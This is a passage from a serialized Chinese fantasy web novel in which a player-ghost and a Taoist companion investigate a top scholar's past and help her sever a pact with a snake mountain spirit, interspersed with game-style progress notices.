“那上头的事儿,下官也没处问,”驿官尴尬道,“不过分号落地以后,县里有头有脸的大人都往这儿走动,生意就没差过。”
女鬼端详了一会儿那块黑底金字牌匾,玩笑似的问:“这食珍楼,不会正是状元待过那家酒楼吧?”
驿官拱手笑道:“大人慧眼,确实如您所说。”
“当前进度:31%(剧情探索达到60%将解锁支线)”
送上门的线索。
齐览都不必看鱼宣的脸色,从她突然活跃的气息就能知道:他们来对地方了。
“既然如此,那我们真要试试这状元酒楼的手艺了。”
鱼宣对齐览口中的“以辛辣闻名”并不怀疑。
在看到红青辣椒淹没一切的摆盘时,女鬼心中有着诡异的平和。
鱼宣能吃辣,也在现实中体验过这类地方菜系。
行宫最后没有下文的原因之一,或许就有饮食方面的问题。
食珍楼的掌勺师傅太敬业,本土化十分到位,以至于这顿饭无法体面地食用。
难怪生意好。
在这里谋事,最大的优点就是快。
要么不上菜,要么在主菜上来前谈妥。
驿官不是第一回接待外员,很贴心地将解辣的糕点点了个遍。
鱼宣跟齐览咬耳朵:“齐大人,你来的时候也路过这儿?”
青年道长面无表情:“赶路,被当地民居的炒菜烟呛了半刻钟。”
鱼宣克制地抿出一个笑。
驿官专门安排了私密性很好的包厢,窗口的视野很好,酒楼内部的人员来往一览无余。
“新角色:符芹——食珍楼账房。”
35. 第 35 章
鱼宣两指捏着符纸。
“物品:传讯符(已失效)——天涯海角,使命必达。”
女鬼眨眨眼,很严谨地又从世界观资料里翻出相关记载。
普通传讯符为一次性道具,使用后立即失效,讯息自动销毁。
鱼宣看看符纸,又看看睡姿别扭的青年道长。
要是放着他不管,这样睡一觉起来骨头都要散架。
女鬼久违地开了隐匿出门。
这个点百姓都忙活计,少有闲人在街上走动。
弓鸣县的建筑就这一片最密集,没走两步便是食珍楼。
鱼宣从大门直奔后堂,顺利地在后院的一楼找到账房所在。
账房先生不只一个,光符芹坐的桌边就有四五位。
女账房除符芹之外,还另有一位,年纪轻,打下手居多,像是学徒。
“新角色:符庄——食珍楼账房学徒。”
鱼宣原本移开的眼睛又重新看向符庄。
学徒与先生同姓,但系统却没有介绍二人是血亲或收养关系。
看准时机跟着送茶的伙计进了账房,鱼宣近距离关注几人之间的交流。
符庄主要跟着符芹学账目,符芹忙时,也被借去与其他先生对账。
女鬼在账房待了将近半个时辰,还偷摸翻了几册账本,慢悠悠地溜达到靠着院内的窗边。
春夏之交,人身上那股懒散劲被勾出来。
现下不是饭点,酒楼宾客少,伙计们免不了掰扯家长里短。
账房外的院子里,几个伙计身边的水盆摞起高高的碗碟,正清洗菜盘。
手上忙活,嘴也不消停。
“明日小冯一回,就要接芹娘子去京城吧?”
“谁知道?芹娘子现在又收了阿庄,手头总有活儿,不肯享清福。”
“阿庄是咱楼里的人,在芹娘子那儿添个名的事,还能拦着人家接泼天富贵?”
“你才来不晓得,芹娘子要想走早走了,她在这儿是铁了心守寡,都劝过,没用的。”
“也没见人给她相看,她又无儿女,还不好再嫁吗?”
“她不肯,说尸骨没见着,不能算人死了。”
管事从客堂过来,一眼就看见他们扎在一块儿。
“都唠什么?这几个活儿不够你们忙了?”
伙计们马上收了声,埋头做事。
鱼宣该听的都听到了,见好就收,寻了间隙溜出账房。
她还记得梦魂把齐览和公子穆换回来的时候,齐览这么一个好脾气的NPC红眼都快出来了。
而且这个节点,玩家才看过传讯符,NPC又昏迷。
女鬼一下子心虚起来。
她现在回去,要是齐览已经醒了一阵,会不会以为她跑路了?
引路NPC红眼可不是闹着玩的。
鱼宣觉得要是有回城键,她铁定把坐标安在齐览身上,免得她现在着急忙慌地赶。
怕什么来什么。
女鬼急刹停在主屋门前,差点被门槛绊个跟头,故作镇定地进了里屋,齐览正垂着头坐在床边。
鱼宣在很多个瞬间感到NPC的鬼气比玩家还重。
譬如此刻。
青年长发披散,发带不知遗落在床的哪个角落。
看上去枯坐很久,衣衫还皱着。
鱼宣都想把女鬼的身份让给他算了。
她也拉了把椅子过来坐下,等NPC兴师问罪。
半天没动静。
鱼宣悄悄抬眼。
她进来又是撩帘子又是拉椅子,齐览没半点反应。
又卡了?
“齐览,你醒着没?”
“……嗯。”
醒着,但不太清醒。
鱼宣怀疑道:“中午的饭菜下药给你迷昏了?”
“我以为,你该改主意不去京城了。”
齐览想办法给鱼宣“告密”是一回事,但他没料到自己会直接昏过去,醒来还只留自己一个了。
鱼宣是一个有独立思考能力的灵异,她的逻辑很清晰。
齐览尝试把她的处境假设放在任何一个人身上,远离京城都是最好的选择。
背弃使命的灵异也是有的。
所以他的要求只有一个。
“我的诚意拿出来了,鱼宣,”他慢慢抬起头,黑发垂落,露出那双浓而烈的漂亮眉眼,“带上我吧。”
带上他,不管去哪里。
桃源镇契约既成,他们密不可分。
回溯传讯符,不是想跟幕后之人作对,而是给鱼宣交投名状。
齐览想过,让鱼宣知道前路有埋伏后她会有什么反应。
他从没掩饰过自己的来路,她顺着已知的线索多想想,就能猜出他在这场针对她的阴谋里扮演着什么身份。
齐览做好了被质问的准备。
面对NPC的组队请求,鱼宣尽管有些莫名其妙,但答应得很爽快。
“带带带。”
鱼宣见他没红眼,放下心来盘问。
“我说齐大人,你是不是水土不服啊?”
青年茫然,实话实说:“从未有过此类症状。”
“那你身体恢复得如何?”
齐览斟酌鱼宣的用意。
京城的人不会放过他们,即使他一定要跟,鱼宣也不会要一个拖油瓶。
“……无碍。”
鱼宣:……
女鬼扯出一个礼貌的笑:“齐大人怎么解释,今日昏倒在我床边的事?”
青年老实巴交:“灵力透支。”
又抓紧找补:“不碍事。”
他白惨惨的脸色和凌乱的头发让这句话毫无说服力。
鱼宣不知道说什么好,伸出食指在他的额头带了力道戳下去:“惜着点命吧齐大人。”
齐览被戳得后仰。
欺负一个柔弱的友方NPC无法给玩家带来成就感,鱼宣也不是那种喜欢在游戏里较劲的性格。
但这个视角看他,又猫又狗的,观赏价值极佳。
怪不得这个乖乖仔把自己搞这么乱还不收拾。
灵力透支的话,那就合理了。
女鬼就着指头上那点接触面积,给这个小可怜除尘清洁。
除尘符印是不知多少代的改良版,一键整理仪容仪表不在话下。
鱼宣算是发现了,NPC正经清爽的时候人模人样,一旦不打理站在灵异堆里都分不出好歹。
她收了手。
“还有,京城我们照样得去,”女鬼另一只手拎着一串药包放到青年面前,“趁着这两天有条件,一日三回,当着我面喝。”
齐览没有异议。
“另外,查查食珍楼账房符芹和符庄,冯时惜的过往也整理出来,事无巨细。”
官署有人好办事。
驿官派人将鱼宣要的资料赶在天黑前送了过来。
平民百姓的日子简单,三个人合起来不过薄薄一册。
府里有现成的家丁,到点了厨房烟囱往外冒气。
趁着开火做饭的时间,鱼宣把册子上的内容从头到尾翻阅。
符芹不是弓鸣县本地人,二
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十年前,她从别处逃难来,与当地书铺老板张氏成婚。
新婚不到两个月,京城周边几座城池被灵异侵占,皇帝下诏征兵。
张氏应召从军,此后杳无音讯。
第七年,隔了一条河的南盛城传来军队战败覆没的消息。
符芹起初还撑着经营书铺,噩耗传来大病一场,不得不关门休养,缠绵病榻两年有余。
后来病好也无心管理店铺上上下下的繁杂事务,好在识字能算账,经人介绍去了食珍楼。
第十年,有媒人要替她说亲,劝她再嫁,被符芹一一拒绝。
账房的事务符芹逐渐上手,也许是为了聊以慰藉,她收了冯时惜做学徒。
第十四年,冯时惜离开食珍楼,一心念书,符芹又收了符庄,并在此期间时常上门看望。
据说冯时惜赶考的盘缠有大半是由符芹提供。
既是恩师,又是恩人,恩重如山。
看来冯时惜此次还乡,符芹的功劳不少。
而符庄与冯时惜的状况差不多,都是孤儿,只不过符庄还要更苦。
她不知家住何处,有记忆以来一直靠行乞为生,被符芹捡到酒楼时才七岁,现在也不过十三。
这二十年间难免有闲话,说符芹守寡守疯了,恨不能把别人家的孩子抢来自己养。
但符芹对这些风言风语充耳不闻,依然我行我素。
鱼宣感慨:“芹娘子真是个大善人啊。”
不论冯时惜还是符庄,符芹都没有收养,而是仅仅收做学徒传授一门技艺。
她花的时间精力,投入的感情,不比收养个孩子少。
外面传来叩门声。
“两位大人,是否现在用膳?”
鱼宣收起册子。
齐览:“进来吧。”
这里的厨房接待外员的经验比食珍楼丰富多了。
至少香料含量看起来并不吓人。
女鬼又重新拥有了进食的乐趣。
“想见见冯时惜吗?”齐览问,“驿官说状元府已经入住了。”
鱼宣头也不抬:“饭后就去。”
夜黑风高。
一人一鬼按计划进行消食活动。
状元府是弓鸣县当地权贵出资建造的,不是冯时惜原本的住处,从门前的石狮子到后厨的灶台都崭新。
此刻府邸灯火通明。
这么晚来做客显然不合适。
鱼宣和齐览站在房顶,这个观景角度能把整个状元府收入眼底。
还有不远处的食珍楼。
女鬼原地转了一圈。
来的时候只管闷头走,天又黑,这会儿有点分不清东南西北。
鱼宣摸上青年腰间坠子扯了扯:“我们家在哪儿呢?”
她说得顺口,齐览沉默半晌。
“你希望在哪儿?”
鱼宣:?
她希望在哪儿就能在哪儿吗?
女鬼没好气:“我觉得这儿就不错,你能把状元踹出去吗?”
“今晚吗?”
鱼宣不敢展示自己的冷幽默了。
因为NPC真的会干实事。
“不着急,先看看这位状元长什么模样,”鱼宣探头在府内四处瞄,“要是样貌好,指不定早就被榜下捉婿了,等我们赶去京城还能喝上喜酒。”
自古探花俊美之名最甚,但能送到皇帝面前的哪有长相不过关的。
才貌双全,王室严选,万里挑一的条件。
下方传来蕴着笑意的问询。
“这位娘子,是找我吗?”
36. 第 36 章
鱼宣低头一看。
墙下立着一人,锦衣玉冠,目如含星。
“新角色:冯时惜——弓鸣县人,于今年春状元及第。”
怪不得找不见人,原来他们站在状元头顶上。
鱼宣跃下屋顶,落在冯时惜面前。
“你是状元郎?”
冯时惜张开手臂让她瞧个仔细:“不像吗?”
“像啊,”鱼宣笑道,“这气派,说是宰相我也信。”
冯时惜看向女鬼身后的青年:“这位是?”
“是同僚,在伏灵司当差。”
人间通行,NPC的身份免去很多麻烦,这次鱼宣也毫不犹豫地搬出来用。
冯时惜亲和的神色淡了些:“伏灵使啊,久仰大名。”
又转过来戳穿鱼宣的春秋笔法:“不过小娘子与他不是一路人吧。”
女鬼见势不妙,就想把齐览拉到前面挡着。
冯时惜接着说:“我们今日才见过。”
鱼宣还没反应过来,齐览先开口问:“你是半灵胎?”
“伏灵使好眼力。”
鱼宣杵在两人中间一脑门问号。
半灵胎不是百年难遇吗?
这才不到一个月,就让她碰上两个。
齐览这么问不是毫无根据。
鱼宣今日在外露面只有中午和下午这两个时间段。
中午在食珍楼时,驿官亲口说过状元未归。
那冯时惜见到鱼宣就只能在下午。
但开了隐匿的女鬼连罗庄城的城门都能安然无恙地通过,可见法器的侦测不起作用。
这么一来,冯时惜半灵胎的身份并不难猜。
不过冯时惜还乡的动机就更可疑了。
鱼宣不自觉往后退,紧盯着面前人:“半灵胎行走世间危险重重,赶考路上多灾难也就罢了,怎么还想着回来?”
冯时惜不在意鱼宣的冒犯,好脾气地回答:“我有要做的事。”
“很可惜,你说的榜下捉婿我没有遇上,”她玩笑道,“若真有一日我成婚,一定留一封请柬给你。”
当然不可能遇上。
因为冯时惜是女子。
鱼宣一想到自己刚刚议论人家被正主听到就有点自闭。
按正常人的耳朵本来也不该能听到的。
偏偏冯时惜不正常。
鱼宣没有因为对方的三言两语放下警惕。
“冯大人既然知我非人,为何不惧?”
冯时惜失笑:“我见过的灵异不少,如娘子这般的若有歹心,我绝无侥幸逃脱的可能。”
灵异伪装的最后一步,是眼睛。
鱼宣在寻常时候的瞳色棕黑,没有任何异样,这也是齐览起初惊疑却没有贸然动手的原因之一。
冯时惜有自知之明,她对付对付那些普通灵异还行,对上这种能把几座城池掀了的,还是听天由命比较现实。
女鬼摸摸自己的脸。
难道她脸上写了“我很能打”这几个字吗?
冯时惜闭口不提自己大晚上站在墙根,摆出一副热情好客的姿态:“二位赏脸来,何必做梁上君子?有什么事进屋说吧。”
齐览正想以天色已晚的理由拒绝,鱼宣却已经跟着冯时惜走了。
又机灵又识时务的NPC不多见,先聊上再说。
一人一鬼跟着冯时惜进了屋,才发现符芹也在。
“时惜说要迎一位客人,我当是谁消息如此灵通,原来是伏灵使。”
符芹说话很客气,但没有半点要起身的意思。
女鬼看看符芹,又看看齐览,心中怪异感挥之不去。
怎么感觉这一个两个的,都不太待见齐览呢?
道士应该是香饽饽才对啊。
鱼宣和齐览被请到桌边落座。
冯时惜:“两位大驾,没什么好招待的。”
女鬼有点读不懂空气,桌上空荡荡,也没有可供她消遣的食物,只好在桌下扣紧自己的手。
齐览很熟悉这种氛围。
“有事不妨直说。”
符芹与冯时惜对视一眼。
她叹息一声,开口:“时惜的爹死得早,她又从小容易碰上不干净的东西,她娘给她兑符水、求偏方,都不管用。”
“有一回时惜被个厉害的东西缠上了,去了半条命,眼看救不活,她娘带她去认了个干娘,人才慢慢清醒过来。”
一些民俗里,会有让孩子认干亲保平安的做法。
这个干亲,不拘于什么东西。
一棵树,一块石头,一只乌龟,都可以。
“后来这孩子的小病小灾少了,总算能安稳过日子。如今她受皇命,将离开弓鸣县,得好好与她干娘饯别。”
鱼宣从符芹的脸色察觉出此事麻烦。
“所以,冯大人的干娘是?”
冯时惜神色复杂:“我娘说,是一条蛇。”
鱼宣抓住重点:“冯大人没亲眼见过它?”
冯时惜摇头:“我体质特殊,道士嘱咐过。每逢年节去拜见干娘,都是蒙着眼。”
“去哪里拜见?”
“没有固定的地方,先前都是请道士算的,”符芹掩不住忧虑,“但弓鸣县唯一的老道士前些日子没了。”
鱼宣明白了:“你们想让齐览帮忙?”
那好办。
虽然齐览刚灵力透支,但算个位置应该不在话下。
“不,”符芹眉头紧皱,“这事还要请娘子出手。”
鱼宣:又我?
“我是灵异,不是道士。”
符芹起身倒了杯茶放到鱼宣面前。
“娘子不用急着拒绝,”年近四十的女人鬓间白发斑驳,放缓了语气,“我是疑心,那蛇是山妖。”
山妖是民间对山神的一种称谓,在这个世界里用于称呼生存在山林的灵异。
就算是这样。
“那也是找道士更合理吧。”
冯时惜只好把话说得更直白:“我不想冒犯它,但希望最后能和干娘说说话。”
懂了,需要一个传话筒。
如果让齐览来,结果就会跟之前一样。
灵异对道士的排斥是一种本能,别说留句谁都听不懂的话,不肯见面都有可能。
鱼宣搞清楚了状况,痛快答应:“好。”
NPC给的任务,玩家还能不接受吗?
“当前进度:32%(剧情探索达到60%将解锁支线)”
忙活半天给自己找了个活儿干的女鬼回到驿官给他们安排的府邸。
已近亥时。
鱼宣在床沿放空大脑,突然想起一个不容忽视的问题。
——她要跟山妖交流,也得先见着啊。
“齐览。”
齐览正在软榻上调息。
他白日里灵力透支,弓鸣县却有山妖,不赶紧恢复的话恐有性命之虞。
他没有封闭五感。
“何事?”
鱼宣坐到青年身旁:“你不是灵力透支吗?我想了想,让你算山妖的方位不太人道。”
齐览收势,睁开眼,安静等着她的下文。
女鬼凑到他面前,眼里闪烁着狡黠的光:“但是我的灵力很充沛,你可以教我。”
青年平静地问:“你要独自去,不带我?”
这话问的,好像鱼宣背信弃义似的。
鱼宣确实才说过去哪儿都把齐览带上,没法抵赖。
她果断否认:“怎么会,我只是想着你身体就没好全过,弓鸣县难得安稳,你这几天养好了,之后来帮我的忙也不耽误。”
青年不依不饶:“那这回……”
鱼宣眼
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不带眨地说好听话:“带你去,把你拴腰带上,可以吗齐大人?”
追着问的是他,现在往后躲的也是他。
齐览避开女鬼直直望着自己的眼睛,慌乱又不自在。
“……可以。”
搞定。
鱼宣笑眯眯:“那现在可以开始授课了,齐大人。”
搜灵术与阵法类似,都是让灵力沿着既定的轨迹走一圈。
鱼宣学得很快,就算记不住也能保存在系统面板照着画。
齐览带着她过了五遍,确认她用起来很流畅才停下。
他看着女鬼满意又骄傲的小表情,问:“还有什么想要的吗?”
齐览知道自己其实没必要问。
因为鱼宣从来不跟任何人客气,想要什么、想问什么,都直言不讳。
他身无长物,能给出去的东西太少,也不知道鱼宣能看上他什么。
齐览相信因果报应,想从鱼宣身上得到自己想要的,就必须割舍自己的部分给她。
可是鱼宣很少向他要求。
大多数时候她主动找他,都是为了短期能实现的目标,唯一一个长远的,就是到京城去。
这种不对等的索求无法牵绊住她。
齐览已经发现自己对待鱼宣时不自觉的任性。
他没有一个合情合理的身份,也没有一个站得住脚的立场,如果鱼宣不再好心地顺着他,他被抛弃就是一瞬间的事。
这不行。
齐览不接受这样的结果。
但他又无法在当下就舍弃两人仍完好无缺的平和,更无法任由自己的意愿去勉强鱼宣。
齐览想,人一旦有所求,就与家养的宠物没分别。
主人会在什么情况下毫无底线地怜惜一只宠物呢?
可怜、可爱又安分的宠物会在主人身边待得最久。
但齐览有自知之明。
他木讷、无趣、不讨喜。
鱼宣短暂地关照他,但对他本身没多少兴趣。
这不行。
即使是可怜、可爱又安分的宠物,也只能得一刻欢心。
主人无法舍弃的,只会是能长长久久带来益处的宠物。
没等到鱼宣的回答,齐览重复问道:“你还想要什么?不拘任何,只要你希望的,都告诉我。”
对人有用,这不难。
况且鱼宣不是藏着掖着的性格,要逢迎她的喜好甚至不需要猜。
譬如今日。
在没见到冯时惜的时候,她的期望毫不收敛。
冯时惜是很标准的状元,无论从什么角度都难以苛责。
齐览看得出来,鱼宣对她很满意。
女鬼对NPC突如其来的热情不知所措。
鱼宣倒是想让齐览再给她一个符印,可这种道具一般都是随剧情发展掉落的,急不来。
“暂时……没有了。”
鱼宣发誓自己看得很清楚,就在她说完这句话下一刻,齐览整个人就以肉眼可见的速度变得恹恹的。
她怀疑自己正逐渐解锁NPC的隐藏剧情。
为免自己一件事还没着落又摊上事,女鬼无情地远离了软榻。
齐览眼睁睁看着鱼宣回到床上。
女鬼把自己裹进被子,闷闷出声:“齐大人,到点了,熄灯睡觉吧。”
一室昏暗,窗口泄进月光。
搜灵术是目的性极强的法术,初学者的搜寻往往会被感知到。
齐览没有告诉鱼宣,方才的练习,他让她使用的搜灵对象是他。
鱼宣确实天赋异禀,第三遍的时候他能感知到的灵魂被掠夺的钝痛微乎其微。
第五遍时,搜灵术对她来说已经没有精进的必要。
从被搜灵的感知里寻找联结的证明。
齐览没想过自己会疯到这个地步。
37. 第 37 章
次日一早,鱼宣爬出暖和的被窝。
山妖是一种作息非常健康的灵异,它们早睡早起,但只有在刚清醒的时候会回应人类。
也许这是它们特意留出来的工作时间。
搜灵要有根据,鱼宣问冯时惜要了她认干亲时山妖给的一只银碗。
银碗碗口边上一圈云纹,没有一点磕碰的痕迹。
看得出来冯时惜一直把它小心供着。
道士用搜灵术一般要开天眼。
鱼宣不需要,因为灵异本来就看得见。
在女鬼眼中,搜灵的结果比常人眼中更直观。
据齐览描述,搜灵成功后,被搜灵的对象所在方位会有可感应的灵力波动。
而鱼宣能直接看到红色的描边轮廓。
昨晚齐览在她眼中就是一个红笔勾线的视觉效果。
一开始线条抖动幅度很大,持续时间也短。
不过熟练度上来以后,齐览身上的线条特效就变得清晰又稳定了。
银碗作引,一念通灵。
冯时惜要找的山妖不在别处,就在贯穿弓鸣县那条路的尽头。
弓鸣县地处群山之中,山势绵延呈半包围状。
从上空俯视,山脊如一张弓,而弓鸣县那条繁华的主干道就是这张弓上蓄势待发的利箭。
弓鸣县由此得名。
象征山妖方位的红色标记在这支利箭的箭尾。
鱼宣以最快速度赶到时,才发现红色标记是在地底。
逃不开刨土的命运,女鬼叹口气。
但隔着土层,鱼宣也能轻易看出,这不是冯时惜所说的蛇。
至少不完全是。
从轮廓来看,地下埋着的是个人身蛇尾的灵异。
这就复杂了。
如果单纯是条蛇,在土里待着不稀奇。
但这好歹算半个人,把人家刨出来怪冒犯的。
鱼宣犹豫:“要动手吗?”
齐览听出女鬼的纠结,挽起袖子正要上前,前方地面突兀冒出一个圆圆的脑壳。
怯怯的童声清脆:“大人,您找我?”
小灵异的眼珠红得晶莹剔透,水润润直勾勾地盯着鱼宣。
鱼宣蹲下来:“你家长辈呢?”
小灵异很实诚地摇头:“没有了,大人,我是这一片最大的。”
灵异不以外形论强弱,尤其是山野灵异,长什么样全凭运气。
鱼宣又问:“叫什么?多大了?”
“弓鸣,”小灵异腼腆地把下半张脸往土里埋了埋,“记不清多少岁了。”
弓鸣。
无论是引地名为己用,还是得名于弓鸣县命名之前,这只半人灵异必然与这片土地有千丝万缕的联系。
鱼宣指了指地下:“这是你的本体?”
凭她目测的深度,弓鸣要把脑袋冒出来,红色标注不该还在原地。
弓鸣点点头。
鱼宣看出弓鸣对自己十分忌惮,放下心来,开门见山道:“你认了个干女儿,记得吗?”
弓鸣的小脸上明显露出苦恼又不安的神色:“大人见过璎君了?”
冯时惜说过,璎君是当初认干亲时山妖给她起的小名。
鱼宣能理解弓鸣的防备。
冯时惜的体质招灵异,她能安然无恙长到这么大,弓鸣功不可没。
没有谁比弓鸣更了解自家干女儿有多麻烦。
冯时惜启程前,弓鸣在她身上留了自己的标记就冬眠去了。
这回招来一个深不可测的女鬼是弓鸣没想到的。
“不必紧张,”女鬼笑盈盈,“我是来替她传个话。”
对于冯时惜能叫得动鱼宣这件事,弓鸣持怀疑态度。
要是她真有这本事,这些年就不会被大大小小的灵异撵得整天担惊受怕了。
鱼宣接着说:“她高中状元,衣锦还乡,想见见你。”
状不状元的,对灵异来说根本不进耳朵。
弓鸣“哦”了一声,无所谓道:“让她来就是。”
作为方圆百里内的灵异头头,弓鸣的生活朴实无华,有食欲的时候就抓几只同类吃吃,没食欲就闲逛,顺便去看看自己认的干女儿。
让她空出时间来见人就是打个招呼的事。
很爽快地答应完,弓鸣的脑袋又开始往下沉,俨然一副要缩回去的模样。
鱼宣伸手扣住它的脑袋,把它整个拎出来。
看纹路,是条菜花蛇。
女鬼语气很温和:“别急着走,我还有话要问。”
弓鸣的七寸没有被拿捏住,但半点也不敢动弹。
七不七寸的在这只女鬼眼中不过是挑在哪里下手的区别,她要想吃烤蛇肉,弓鸣都得自己找根树杈往上盘。
弓鸣老实地挂在鱼宣手上:“您请。”
鱼宣垂眼看它:“冯时惜是半灵胎,这点你也清楚,对吗?”
“是。”
“小山妖,你也是灵异,”女鬼的目光停留在弓鸣肉乎乎的尾巴上,“你对冯时惜,没有过吞食的冲动吗?”
“有。”
弓鸣小心翼翼回答完,女鬼既没有再开口也没有松手。
弓鸣的识时务完全来自灵异慕强的本能,人类的眼力劲显然不属于它的知识范畴。
当山大王这么久,弓鸣一贯直来直往,察言观色的本事少得可怜,就这么干巴巴地和鱼宣大眼瞪小眼。
女鬼确认了弓鸣不可能主动交代更多的细节,只好继续往下问。
“那你为什么庇护她?”
弓鸣的尾巴软塌塌地耷拉下来,问什么答什么:“璎君与我契约了。”
“什么契约?对你有什么好处?”
“互哺,”弓鸣张开手臂展示自己的身体,“契约落地之后,我就能长大了。”
“当前进度:33%(剧情探索达到60%将解锁支线)”
鱼宣眯着眼打量它。
灵异的本体已死,不会有成长的可能。
如果眼前的山妖是经历过成长的模样,那就意味着,它的本体掩埋得还要更浅些。
可是弓鸣现在看起来顶多四五岁,与冯时惜认干亲的时间对不上。
冯时惜今年十七,距她认弓鸣这个干娘已有十二年。
鱼宣问:“契约到什么时候结束?”
弓鸣那双透红的眼珠转了转,半晌才支支吾吾地说:“契约里没有定……”
鱼宣无话可说。
约定了义务,却没有约定时间,那弓鸣岂不是要给冯时惜打一辈子工?
“你与冯时惜约定已有十二年,看你这样子,连总角之年也没过,”女鬼把山妖左右转半圈,各个角落都看过一遍,“你如何解释?”
弓鸣这下连脸色也耷拉了,郁郁地鼓着脸不说话。
能为了“长大”不惜放弃唾手可得的半灵胎,弓鸣的执念昭然若揭。
灵异的痛处被踩了也会有脾气。
换做其他灵异或许能感同身受一下,但是鱼宣是一个无情的玩家。
女鬼伸出另一只手在山妖鼓起的脸上戳:“不说说看吗?”
灵异对危险的感知格外灵敏。
弓鸣生无可恋:“……长不大了。”
说了等于没说。
鱼宣暂时放弃撬开弓鸣的嘴。
她松了手站起身。
“择日不如撞日,你若没有其他事,就随我去状元府吧。”
弓鸣
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猝不及防地落到地上。
这个高度伤不着,只是尾巴没来得及使力,很丝滑地躺了下去。
它很想说自己有事,但最终也只能哭丧着脸跟鱼宣走。
冯时惜想到灵异之间的沟通可能会更省事,但没想到前一天夜里拜托鱼宣出手,第二天一早就办妥了。
这时辰,当地豪绅权贵的拜帖还没送来,状元府很清静。
鱼宣和齐览这回依然没走寻常路。
翻过院墙,鱼宣站在桃树后等着不远处手持长刀的冯时惜耍完一套招式。
冯时惜把长刀放回兵器架,转身时面前已经站着一人一鬼。
鱼宣让开一步,绷着一张小脸的弓鸣出现在冯时惜眼前。
无需多言,山妖的蛇尾就明示了它的身份。
这是冯时惜第一次亲眼见到“干娘”。
鱼宣问过齐览:让冯时惜见弓鸣会有什么后果?
答案是什么后果也没有。
灵异的契约不要求双方对彼此的样貌有印象。
老道士之所以这么做,是因为人与灵异本就应该被分隔开。
人出于一己私欲与灵异产生联系是逆天而行,若非冯时惜不寻求庇佑必死,完全没必要担这孽债。
她借了灵异的力量续命,尝到了甜头,却不能沉迷其中。
越多的未知越能使人敬畏,越敬畏就越知足。
对于这种说法,鱼宣理解也认同。
不过玩家的本职工作就是完成NPC给的各种任务,不计后果。
这一点,鱼宣从来没有忘记。
这边NPC已经进入团圆环节。
年轻的状元半跪,尽量与弓鸣平视:“干娘,您记得我吧?”
冯时惜对干娘是个四五岁模样的幼童接受度很高。
任何一个半灵胎都从小被动开阔视野,心理素质比常人好上一大截是理所当然的。
女鬼把山妖往冯时惜的方向推了一把。
“你们母女先聊着,我们逛逛状元府。”
过了这半日,这里就要被踏破门槛了,得趁没人开辟一下地图内景。
冯时惜还没来得及道谢,正欲开口,鱼宣已经走远。
状元府的复廊很有韵味,处处雕梁画栋,看得出弓鸣县为这位状元下了狠功夫。
鱼宣惬意地伸展双臂。
阶段性的任务完成了,大脑迎来短暂的放空。
“互哺契约,能保证灵异与人类互不伤害吗?”
“不能,”青年在女鬼半步之后跟着,不急不缓道,“互哺的意思是,双方付出的代价,能以自己希望的形式收回。”
相当于某种资源置换。
鱼宣若有所思:“双方的需求是最初就定好的,不能更改?”
“不能更改。”
可是,“弓鸣不是已经不能长了吗?”
互哺契约只有对双方都有好处才能继续下去。
弓鸣的需求无法得到回应,那这份契约对它来说就毫无约束力。
齐览颔首:“所以我给它下了禁制,它无法对人类造成伤害。”
NPC靠谱。
但不是完全靠谱。
鱼宣掉头往回赶。
她低估了山妖的狡猾。
弓鸣的很多回答都含糊其辞,起初鱼宣不自觉被它的外表影响判断,认为它的表达就是这个风格。
一只不知道多少岁的灵异,要是真像它表现的那样老老实实,人间就不会乱到这个地步了。
弓鸣说,它长不大了。
灵异的成长与岁月无关,弓鸣长不大完全是因为冯时惜能付出给它的代价已经见底。
这也意味着,弓鸣将不再庇护冯时惜。
38. 第 38 章
鱼宣赶到的时候,弓鸣的尾巴支棱得直直的,为人长辈的架子摆得很足。
冯时惜恭恭敬敬跪着。
这时候不能闯进去打断前置剧情。
鱼宣抬手拦住齐览,一人一鬼在小月门后暗中观察。
凭他们的眼力,可以清楚看见弓鸣赤红妖异的眼中金芒闪烁。
金芒逐渐清晰,鱼宣看了一会儿,觉得很眼熟。
女鬼诧异地询问:“它眼里的符印是?”
齐览:“它在解契。”
女鬼摸着下巴,豁然开朗。
契约没有时间范围,但不代表不可以主动解开。
毕竟弓鸣的职责是庇护,即使没有互不伤害条例,在契约存续期间让冯时惜遭遇不测也等同于违约。
以半灵胎对灵异的吸引力,解契的下一步就是往冯时惜身上啃一口吧。
鱼宣对看热闹的热衷毫不掩饰,眼一眨不眨。
契约的订立与解除都需要双方知悉并同意,随着弓鸣眼中符印成形,冯时惜有所感应地抬头。
人身蛇尾的灵异眸光冷淡,与眼含热泪的冯时惜四目相对。
它叹息:“璎君,世事难全。”
下一刻,弓鸣眼中符印碎裂。
互哺契解。
“当前进度:34%(剧情探索达到60%将解锁支线)”
山妖没来得及有任何动作,蛇尾突然绷紧,弓鸣直挺挺地倒下,在原地瘫成一根棍子。
冯时惜缓缓站起身。
“干娘,”眼眶还发红的少女居高临下俯视动弹不得的山妖,“世事难全。”
鱼宣:哇塞。
女鬼低头看看袖口延伸出的金线,慢半拍地觉出不对。
力是她出的,高光怎么给NPC了?
鱼宣走出小月门。
“冯大人要拿它怎么办?”
冯时惜垂眼敛起眼底晦暗,拱手道:“听娘子安排。”
鱼宣没有跟她客气,操纵金线收束。
“那我就带走了,”女鬼笑眯眯挥手,“契约已解,您尽可以放心上路,承接皇命了。”
这么一折腾,红日高挂,晨雾散去。
冯时惜仰头望着已经站上墙头的一人一鬼,被日光刺激得眯起眼。
女鬼纵身一跃,消失在她的视野中。
清风拂过,凉意扒在脸上。
冯时惜抬手,抹去尤有湿意的泪痕。
昨夜鱼宣应下她的要求后,她又补充:“我希望,娘子能在我与干娘断亲后,保我性命无虞。”
原来“最后说说话”是这个意思。
从灵异手里保一条人命不难,都不必鱼宣开口,齐览就揽下了这差事。
只是不知为何,鱼宣又折返回来抢在禁制之前缚住弓鸣。
面生的家丁匆匆小跑到冯时惜面前:“大人,县丞府的拜帖送来了。”
另一边的小园林。
鱼宣已经抱着山妖玩了快一刻钟。
金线早就被女鬼收回袖中,山妖被当做宠物似的揉来捏去。
齐览出门一趟回来,鱼宣正拉着山妖的两只袖子晃悠。
“齐大人,你回来了,”女鬼扭头,“替弓鸣置办两身新衣如何?这布薄得透风。”
弓鸣身上青灰色麻布,是民间最常见的廉价衣料。
齐览轻飘飘睨它一眼,视线上移与鱼宣对上。
“它不知冷热,本体也未必是这副模样。”
鱼宣本来也是一时兴起,齐览不采纳提议就算了。
她又低头把过长的袖口往上卷。
“这儿绣了字,”女鬼轻易辨认出人名,了然道,“是冯大人的旧衣啊。”
怪不得跟食珍楼伙计的款式一模一样。
山妖任鱼宣摆弄,白生生的脸上写满了麻木。
齐览才在旁边坐下,怀里就被塞得满满当当。
